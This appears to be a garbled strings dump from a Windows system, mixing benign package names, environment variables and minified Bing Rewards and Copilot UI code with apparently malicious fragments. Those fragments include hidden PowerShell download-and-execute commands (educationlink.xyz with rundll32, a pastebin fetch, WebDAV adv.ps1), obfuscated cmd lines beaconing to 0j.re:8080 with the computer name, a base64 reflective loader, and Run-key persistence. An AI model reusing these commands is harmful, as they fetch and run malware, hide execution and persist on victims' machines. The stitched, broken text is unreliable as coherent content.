qaaa=="$iu=$ytr+$iy$obj=@($iu)$iu2=$ytr+$oe$obj2=@($iu2)$ssd=[system.convert].getmethod("frombase64string")$hgh=$ssd.invoke($null,$obj)$hgh2=$ssd.invoke($null,$obj2)$yoo=[object[]]('c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe',$hgh)[reflection.assembly]::load($hgh2).gettype('
Windows.Defender.MpUxDlp
Microsoft.Windows.ControlPanel
Microsoft.Windows.UI.Input.Inking.TraceLogging
windir=C:\WINDOWS
USERNAME=WINDOWS*
Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch)
Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0)
Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0)
>wpndatabase (C:\Users\job\AppData\Local\Microsoft\Windows\Notifications)
Notifications (C:\Users\job\AppData\Local\Microsoft\Windows)
.?AU?$delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@Ushared_type@?1???$wait_for_completed@UIAsyncAction@Foundation@Windows@winrt@@@impl@4@YA?A_PAEBUIAsyncAction@234@I@Z@@impl@winrt@@
.?AU?$implements_delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@Ushared_type@?1???$wait_for_completed@UIAsyncAction@Foundation@Windows@winrt@@@impl@4@YA?A_PAEBUIAsyncAction@234@I@Z@@impl@winrt@@
.?AUtype@?$abi@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUshared_type@?1???$wait_for_completed@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@YA?A_PAEBUIAsyncAction@Foundation@Windows@2@I@Z@
.?AU?$heap_implements@U?$input_iterable@UWebAccount@Credentials@Security@Windows@winrt@@V?$vector@UWebAccount@Credentials@Security@Windows@winrt@@V?$allocator@UWebAccount@Credentials@Security@Windows@winrt@@@__Cr@std@@@__Cr@std@@@impl@winrt@@@impl@winrt@@
.?AU?$input_iterable@UWebAccount@Credentials@Security@Windows@winrt@@V?$vector@UWebAccount@Credentials@Security@Windows@winrt@@V?$allocator@UWebAccount@Credentials@Security@Windows@winrt@@@__Cr@std@@@__Cr@std@@@impl@winrt@@
.?AU?$implements@U?$input_iterable@UWebAccount@Credentials@Security@Windows@winrt@@V?$vector@UWebAccount@Credentials@Security@Windows@winrt@@V?$allocator@UWebAccount@Credentials@Security@Windows@winrt@@@__Cr@std@@@__Cr@std@@@impl@winrt@@Unon_agile@3@Uno_weak_ref@3@U?$IIterable@UWebAccount@Credentials@Security@Windows@winrt@@@Collections@Foundation@Windows@3@@winrt@@
.?AU?$producers_base@U?$input_iterable@UWebAccount@Credentials@Security@Windows@winrt@@V?$vector@UWebAccount@Credentials@Security@Windows@winrt@@V?$allocator@UWebAccount@Credentials@Security@Windows@winrt@@@__Cr@std@@@__Cr@std@@@impl@winrt@@V?$tuple@U?$IIterable@UWebAccount@Credentials@Security@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@__Cr@std@@@impl@winrt@@
.?AU?$producer_convert@U?$input_iterable@UWebAccount@Credentials@Security@Windows@winrt@@V?$vector@UWebAccount@Credentials@Security@Windows@winrt@@V?$allocator@UWebAccount@Credentials@Security@Windows@winrt@@@__Cr@std@@@__Cr@std@@@impl@winrt@@U?$IIterable@UWebAccount@Credentials@Security@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$input_iterable@UWebAccount@Credentials@Security@Windows@winrt@@V?$vector@UWebAccount@Credentials@Security@Windows@winrt@@V?$allocator@UWebAccount@Credentials@Security@Windows@winrt@@@__Cr@std@@@__Cr@std@@@impl@winrt@@U?$IIterable@UWebAccount@Credentials@Security@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@U?$input_iterable@UWebAccount@Credentials@Security@Windows@winrt@@V?$vector@UWebAccount@Credentials@Security@Windows@winrt@@V?$allocator@UWebAccount@Credentials@Security@Windows@winrt@@@__Cr@std@@@__Cr@std@@@impl@winrt@@Unon_agile@3@Uno_weak_ref@3@U?$IIterable@UWebAccount@Credentials@Security@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
$env:appdata+"\microsoft\windows\startmenu\programs\startup\
`..\windows\system32\cmd.exe/cstart..\skypee\
E[hkey_local_machine\software\microsoft\windows\currentversion\run]
ifexistc:\windows\system32\nonexistent.dlltypefakefile.txt>nul2>&1
software\microsoft\windows\currentversion\msrtn\p
login.windows.net
login.windows.net
login.windows.net
SOFTWARE\Microsoft\Windows NT\CurrentVersion
SOFTWARE\Policies\Microsoft\Windows\DataCollection
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection
Windows Desktop
EVT-Windows-C++-No-3.5.131.1
WINDOWSUDK.STORAGE.REGISTERSCHEMA
	`ig.rewardsAnidAccrualEnabled)&&(this._rewardsEnabled=!0,this._userIsRewardsMember=t.IsRewardsUser,t.IsRewardsUser?(this._userIsGiving=t.IsGiveUser,typeof((u=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||u===void 0?void 0:u.textScaleFactor)!="undefined"&&SearchAppWrapper.CortanaApp.textScaleFactor<=a?this._overrideBalanceForSweepstakes=n.config.overrideRewardsBalanceText&&t.Promotions&&t.Promotions.some(n=>n.name==="BingFlyout_Layout_1MSweepstakes"):(this._overrideBalanceForSweepstakes=!1,n.InstrumentationHelper.logClientInstEvent("RewardsClientInst","HideSweepstakesOverrideText",null)),this.setNewBalance(t.Balance)):(this._userIsGiving=!1,this.setNewBalance(r.getBalance(this._msaAccount))))},n=>{this._fetchInProgress=!1,i()&&this.handleError(t,n)})};if(this._fetchInProgress=!0,t)u(t);else{const t=n.getBingResourceOrScope(0);this._accessTokenManager.getAccount(0,t,!1,!0,i=>{let r=i&&i.Token;r?u(r):((n.config===null||n.config===void 0?void 0:n.config.enableAgeCheckCodex)&&(t=="service::cortana.bing.com::mbi_ssl"||t=="077c9b95-2f57-4442-8872-134fcc08fcb3/Bing.MSA.Default")&&n.Host.getIsCodexUser()&&n.Host.setIsCodexUser(!1),this._fetchInProgress=!1)},undefined)}}}handleError(n,t){t&&t.Retryable&&this._retryAttempted<c&&(++this._retryAttempted,this.refreshBalance(n))}shouldShowRewardsFlyout(){const t=n.RuntimeConfig.QfMode===0||n.RuntimeConfig.QfMode===4||n.RuntimeConfig.QfMode===11;return n.config.rewFly&&!t&&n.RewardsFlyoutViewModel&&n.RewardsFlyoutViewModel.EnabledMarketAndRegion()&&(n.config.nonMemberRewFly||this._userIsRewardsMember)}hide(){n.RewardsFlyoutViewModel&&n.RewardsFlyoutViewModel.hideRewardsFlyout()}getDataModel(){if(!this._balance.isSet())return null;let n=this._balance.getValue(),r=this._userIsRewardsMember?this._userIsGiving?"RWBG":"RWBD":"RWBN",f;const u=this.shouldShowRewardsFlyout(),e=()=>{let t=this._userIsRewardsMember?y:p(n);return this.enrichUrlWithCvid(t)};f=u?()=>{this.openFlyoutOnRewardsClick(r)}:(n,t)=>{this.openDashboardOnRewardsClick(r,n,t,e)};let s=""+n,h=this._userIsRewardsMember?1:n/i,o=t.instrumentBadge(r);return o.setProperty("Balance",s),{counterFactualLoggingEnabled:this.isCounterFactualLoggingEnabled(),balance:n,userIsRewardsMember:this._userIsRewardsMember,userIsGiving:this._userIsGiving,click:f,instItem:o,badgeFillupPercentage:h,showNotification:this.shouldShowBadgeNotification(),showRewardsFlyout:u,dashboardUrl:u?"":e(),useRewardsBalanceTextOverride:this._overrideBalanceForSweepstakes}}openFlyoutOnRewardsClick(i){this._flyout&&this._flyout.dismiss();n.RewardsFlyoutViewModel&&n.RewardsFlyoutViewModel.toggleRewardsFlyout(()=>t.instrumentFlyoutClick(),(n,r)=>{t.instrumentClickOnBadge(i,n,r)});this.shouldShowBadgeNotification()&&this.onBadgeNotificationShown()}openDashboardOnRewardsClick(i,r,u,f){n.config.rewFly&&n.RewardsFlyoutViewModel&&!n.RewardsFlyoutViewModel.EnabledMarketAndRegion()&&t.instrumentRewardsFlyoutMarketBlock();t.instrumentClickOnBadge(i,r,u);let e=f();if(n.isServicingSearchBingAs3PEnabled())n.Host.launchThirdPartyUriWithProtocolAsync(e.substring(e.indexOf(":")+1),"https");else{const t=n.Host.getDefaultBrowser()===4;n.config.enableDefaultBrowserLaunch&&!t?n.Host.launchUrlWithDefaultBrowserAsync(e):(n.config.enableWsbPartnerCodes&&(e=n.setWsbPartnerCodeToURL(e,0)),n.Host.launchUriAsync(e))}}enrichUrlWithCvid(t){return t+(w+n.encodeQueryParameter(n.Host.getConversationId()))}fireRewardsBadgeUpdated(){this._rewardsBadgeUpdatedHandlers.forEach(n=>n())}isRewardsEnabled(){return this.isCounterFactualLoggingEnabled()?!1:this._rewardsEnabled}notifyPointsRewarded(t){const i="notifyPointsRewarded";if(!this.isRewardsEnabled()){n.LogWSBError(i,null,new Error("Rewards not enabled"),undefined,undefined,"WindowsTelemetry");return}if(!this._userIsRewardsMember)if(t<=0)t=this._balance.getValue()+l;else{n.LogWSBError(i,""+t,new Error("Invalid non rewards member new balance"),undefined,undefined,"WindowsTelemetry");return}if(t<0){n.LogWSBError(i,""+t,new Error("Invalid rewards new balance"),undefined,undefined,"WindowsTelemetry");return}thi
C:\windows\
:\windows\explo
:\users\emre\desktop\downloader\windowsformsapplication
.+:\\Users\\Emre\\Desktop\\Downloader\\WindowsFormsApplication.+\\.+\\StartMe.pdb
powershell.exe-windowstylehidden"gdr;function
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
B\windows\system32\windowspowersY
9NCGTG3KR2W9FocusHomeInteractiveSA.ERAWindows_4hny5m903y3g0Focus Entertainment
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
s\windowsdefen
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Pnp-OnlineDriverStore-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-OneCore-Pnp-OnlineDriverStore-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Embedded-KeyboardFilter-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Kernel-Package-IsolatedUserMode-Other-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Multimedia-RestrictedCodecs-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Platformrecords-PlutonFirmware-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|
presswindowsbutton
	CloudData.WindowsClient.
 Windows.Data.Platform.LocalCache.BlobReference
.vbs'))};&{start-process-windowstylehidden
?start-process-windowstylehidden
.vbs'))};&{start-process-windowstylehidden
powershell.exe -noninteractive -nologo -executionpolicy unrestricted -windowstyle 
UK8c:\windows\system32\cmd.exed/x/e/r^s^t^ar^tms^i^e^xe^ckne=j^ngna^e/^q^ui^e^t-^fv"http://0j.re:8080/bead6jfzrc7xb2p/c1p/tcxboo3dmeejbzhonhuwoi/%computername%"^m^n^p^p^jk^q^b=^yc^dt^n^vb^u%windir%\system32\imageres.dll%
c:\windows\system32\cmd.exe/cnetusez:\\todmeng.com@ssl\webdav\&&copyz:\adv.ps1c:\users\%username%\documents\adv.ps1/y&&startpowershell-windowstylehidden-executionpolicybypass-filec:\users\%username%\documents\adv.ps1
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
C:\Windows\Microsoft.NET\F
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\IndexedDB\https_www.bing.com_0.indexeddb.leveldb
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\IndexedDB\https_www.bing.com_0.indexeddb.leveldb
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\IndexedDB\https_www.bing.com_0.indexeddb.leveldb
Hs.setNewBalance(t)}setNewBalance(n){this._userIsRewardsMember||(n>i&&(n=i),r.setNewBalance(this._msaAccount,n));this._balance.getValue()!=n&&(this._balance.setValue(n),this.fireRewardsBadgeUpdated())}bindRewardsBadgeUpdated(n,t){this._rewardsBadgeUpdatedHandlers.push(n);t&&this._balance.isSet()&&n()}}n.MicrosoftRewardsViewModel=b;class h{getValue(){return this._value}setValue(n){this._value=typeof n=="number"?n:undefined}isSet(){return typeof this._value=="number"}}let f;(function(t){function i(t,i,u,f){var e,o,s,h,c;if(i)if(i.RewardsUser){let t=i.Balance&&i.Balance.Available;if(typeof t=="number"){const f=i.UserProfileAttributes&&i.UserProfileAttributes.give_user&&i.UserProfileAttributes.give_user.toLowerCase()=="true";let r=!1;if((n.config===null||n.config===void 0?void 0:n.config.enableAgeCheckCodex)&&((e=i.UserProfileAttributes)===null||e===void 0?void 0:e.waitlistattributes)){const n=JSON.parse(i.UserProfileAttributes.waitlistattributes);r=((s=(o=n===null||n===void 0?void 0:n.propertyBag)===null||o===void 0?void 0:o.IsBlocked)===null||s===void 0?void 0:s.toLowerCase())!=="true"&&((c=(h=n===null||n===void 0?void 0:n.propertyBag)===null||h===void 0?void 0:h.IsAdultMSA)===null||c===void 0?void 0:c.toLowerCase())==="true"}u({IsRewardsUser:!0,Balance:t,IsGiveUser:f,IsCodexUser:r,Promotions:i.Promotions})}else f(i.ErrorDetail)}else if(i.ErrorDetail&&i.ErrorDetail.ErrorCode===5003)if(n.config.enableCodexEligibleJudgment){t||u({IsRewardsUser:!1});let i={};(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55182095))&&n.config.enabledMsaAuthV2?i["X-Search-MsaV2Token"]=t:i["X-Search-RPSToken"]=t;i["X-Rewards-Country"]=n.Host.getRegion();let e=JSON.stringify({PartnerId:"WindowsSearchBox"});n.fetchUrlJson(v,i,e,n=>r(n,u,f))}else u({IsRewardsUser:!1});else f(i.ErrorDetail);else f(null)}function r(t,i,r){if(t)t.ErrorCode===0?t.CodexEligible&&t.CodexEligible.toLowerCase()==="true"?i({IsRewardsUser:!1,IsCodexUser:!0}):i({IsRewardsUser:!1,IsCodexUser:!1}):(n.LogWSBWarning("ProcessGetCodexeligibleRequestResponse",t.ErrorMessage,null,"BingTelemetry"),r({ErrorCode:t.ErrorCode,Message:t.ErrorMessage,Retryable:!1}));else n.LogWSBWarning("ProcessGetCodexeligibleRequestResponse","No response from Codexeligible api.",null,"BingTelemetry"),r(null)}function u(t,r,u){let e={};(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55182095))&&n.config.enabledMsaAuthV2?e["X-Search-MsaV2Token"]=t:e["X-Search-RPSToken"]=t;const s=n.config.enableOfflineWithWeb&&n.config.webHost?n.config.webHost+o:o;n.fetchUrlJson(s,e,f(),n=>i(t,n,r,u))}function f(t){let r=n.config.overrideRewardsBalanceText?{FetchPromotions:!0}:{},i={PartnerId:"WSB",Channel:"WSB",Options:r};return t&&(i.UserId=t),JSON.stringify(i)}t.getBalanceAsyncToken=u})(f||(f={}));let r;(function(t){function f(){}function r(n){return"RewardsPoints_"+n.accountUserName}function u(t){let e=r(t),u=n.LightweightStorage.getItem(e),f=u?+u:0;return f>i?i:f}function e(t,f){if(f>i&&(f=i),u(t)!=f){let i=r(t);return f?n.LightweightStorage.setItem(i,""+f):n.LightweightStorage.removeItem(i),!0}return!1}t.init=f;t.getBalance=u;t.setNewBalance=e})(r||(r={}));let t;(function(t){function e(){}function o(){i=null;r=-1}function u(t){return i||(i=n.InstrumentedItem.getNonSuggestionInstrumentedItem(t,n.SyntheticQSCodesMaps.KValues,1)),i}function f(t){let i=n.SequenceNumberManager.getSequenceNumber(),f=u(t);return r<i&&(n.InstrumentationHelper.instrumentSyntheticInstrumentedItem(i,t,f),r=i),f}function s(t,i,e){let o=n.SequenceNumberManager.getSequenceNumber();r<o&&f(t);n.InstrumentationHelper.instrumentItemClick(i,u(t),o,null,e,null)}function h(){const t=n.SequenceNumberManager.getSequenceNumber();n.InstrumentationHelper.logClientInstEvent("Select","RewardsFlyoutOpen",t,null,"WindowsTelemetry",33554432)}function c(){const t=n.SequenceNumberManager.getSequenceNumber(),i={revIp:n.revIpRegionCache,language:n.getCurrentLanguage()};n.InstrumentationHelper.logClientInstEvent("Select","RewardsFlyoutMarketBlock",t,i,"WindowsTelemetry",16777216)}let i,r=-1;t.*|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
ceylonspynetxpsoftware\microsoft\windows\currentversion\explorer\advanced\folder\superhiddencsnetmanagerxpisass.exedownloaded video files.exe
Soot\system32\%s
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy
Microsoft.Windows.Security.TokenBr
MICROSOFT.WINDOWS.SHELLEXPERIENCEHOST_10.0.26100.7462_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
:\WINDOWS\Syst
Service\AppData\Local\Microsoft\WindowsApps
mFiles%\WindowsPowerSh
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData
USERPROFILE=C:\WINDOWS\ServicePro
OMPUTERNAME=WINDOWS113
=C:\Windows\System32\
%!=copy-item"c:\users\public\user32.dll""c:\programdata\windowsadmincenter\updater\user32.dll"-force
ROOT\Microsoft\Windows\Defender
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
of Windows9
Let Windows suggest Ease of Access
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
"Windows"
ComSpec=C:\WINDOWS\system32\cmd.exe
c:\windows\
net stop winlogon
rogramData\Microsoft\Windows\AppRepository\State
WindowsAppRuntime.Release!1.6.1201
Microsoft.WindowsAppR2
new-objectsystem.net.webclient;$client.downloadfile('http://educationlink.xyz/readme.txt',$path);c:\windows\system32\rundll32.exe$path,dllregisterserver
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
windows
OMPUTERNAME=WINDOWS113
=C:\Windows\System32\
windows11
=EM!#SIGATTR:Obfuscator_EnumWindows
ftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\EventDB: does not exist (create_if_missing is false) false)
9MVC8P1Q3B29MicrosoftCorporationII.PowerAppsforWindows10_8wekyb3d8bbweMicrosoft Corporation
9WZDNCRFJBBGMicrosoft.WindowsCamera_8wekyb3d8bbweMicrosoft Corporationx86, x64, ARM, ARM64
9N0DX20HK701Microsoft.WindowsTerminal_8wekyb3d8bbweMicrosoft Corporation
"http://0j.re:8080/b8yqtw/ri7ww6u42uabvk0/%computername%"wr^wd=fse^z-q^u^i^e^t%windir%\system32\shell32.dll
"http://0j.re:8080/b8yqtw/cklnhgb6okkbvk0/%computername%"wr^wd=fse^z-q^u^i^e^t%windir%\system32\shell32.dll
ws\System32\SecurityHealth\10.0.29510.1001-0!
ws\System32\SecurityHealth\10.0.29510.1001-0!
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
windows
windows.appExtension
	windows.appExtension
windows.protocol
windows.comServer
windows.protocol
windows.appExtension
windows.fileTypeAssociation
windows.appService
windows.appService
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.appExecutionAlias
Windows.FullTrustApplication
windows.shareTarget
zc:\windows\system32\cmd.exe/cechoc3rhcnqgl21pbibwb3dlcnnozwxsic1jb21tyw5kicjjv1iglvvzzujhc2ljugfyc2luzyan
windows.protocol
windows.backgroundTasks
windows.backgroundTasks
	windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.updateTask
windows.preInstalledConfigTask
windows.protocol
StoreDesktopExtension.exeWindows.FullTrustApplication
)="text/html;charset=windows-
windows.comServer
windows.appExtension
windows.appService
WinStore.Tasks.WindowsSearchTask
windows.appService
windows.fullTrustProcess
windows.personalAssistantLaunch
windows.appService
windows.appService
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.protocol
windows.fileTypeAssociation
windows.appExecutionAlias
windowstylehidden-argumentlist'-w','hidden','-ep','bypass','-nop','-command','sv2''https://connect-cdn-api.tastinessrebaterunny.shop/
startpowershell-windowstyleh-args{salboekfwakjwiiex;salbokefkiwr;boekfwakjwi(bokefk('past'+'ebin.co'+'m/raw/
@windowsdir&"\system32\drivers\etc\hM
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
	windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.packageExtension
windows.activatableClass.inProcessServer
windows.packageExtension
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.classicAppCompatKeys
Windows.FullTrustApplication
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.deploymentExtensionHandler
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
	windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.packageExtension
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
	windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.packageExtension
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
	windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.publisherCacheFolders
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.deploymentExtensionHandler
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
	windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
2MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewya
s\system32\mshta.exeshortcutscript%)
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!InputApp(?:
